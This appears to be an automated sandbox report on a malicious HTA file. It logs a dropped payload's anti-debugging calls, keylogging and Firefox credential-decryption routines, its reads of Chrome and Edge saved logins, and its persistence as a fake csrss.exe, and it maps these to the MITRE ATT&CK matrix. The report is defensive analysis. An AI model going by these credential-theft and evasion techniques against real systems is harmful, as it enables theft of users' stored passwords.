Location Tracking

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
mybestgirlfriendwalkingaroundtheworld.hta

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_0040CE09
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_0040E61C
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00416F6A
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_004123F1 SetUnhandledExceptionFilter,	16_2_004123F1
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_1_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_1_0040CE09
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_1_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_1_0040E61C
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_1_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_1_00416F6A
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_1_004123F1 SetUnhandledExceptionFilter,	16_1_004123F1

Source: 16.2.dajivhqI.pif.2b4e0000.10.raw.unpack, UltraSpeed.cs	Reference to suspicious API methods: MapVirtualKey(VKCode, 0u)
Source: 16.2.dajivhqI.pif.2b4e0000.10.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), typeof(T))
Source: 16.2.dajivhqI.pif.2b4e0000.10.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: hModuleList.Add(LoadLibrary(text9 + "\\mozglue.dll"))

Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	11_2_02E954BC
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: GetLocaleInfoA,	11_2_02E9A0B8
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: GetLocaleInfoA,	11_2_02E9A104
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	11_2_02E955C8
Source: C:\Users\user\Links\dajivhqI.pif	Code function: GetLocaleInfoA,	16_2_00417A20
Source: C:\Users\user\Links\dajivhqI.pif	Code function: GetLocaleInfoA,	16_1_00417A20

Source: Yara match	File source: 16.2.dajivhqI.pif.2993e390.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.dajivhqI.pif.28551936.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.dajivhqI.pif.2b4e0000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.dajivhqI.pif.29915570.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.dajivhqI.pif.287c0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.dajivhqI.pif.28551936.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.dajivhqI.pif.287c0000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.dajivhqI.pif.28550a4e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.dajivhqI.pif.2b4e0000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.dajivhqI.pif.26abd218.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.dajivhqI.pif.29916458.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.dajivhqI.pif.29915570.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.dajivhqI.pif.28550a4e.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.dajivhqI.pif.26abd218.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.dajivhqI.pif.287c0ee8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.dajivhqI.pif.287c0ee8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.dajivhqI.pif.2993e390.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.dajivhqI.pif.29916458.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.2494926367.0000000028510000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2497539381.0000000029911000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2495630239.00000000287C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2497929209.000000002B4E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.1383089164.0000000026ABD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dajivhqI.pif PID: 7196, type: MEMORYSTR

Source: C:\Users\user\Links\dajivhqI.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Shared Modules	1 Valid Accounts	1 Valid Accounts	11 Deobfuscate/Decode Files or Information	1 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	112 Command and Scripting Interpreter	Logon Script (Windows)	1 Access Token Manipulation	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	11 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	Login Hook	311 Process Injection	4 Software Packing	NTDS	27 System Information Discovery	Distributed Component Object Model	1 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	241 Security Software Discovery	SSH	Keylogging	24 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	41 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Valid Accounts	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	41 Virtualization/Sandbox Evasion	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	311 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption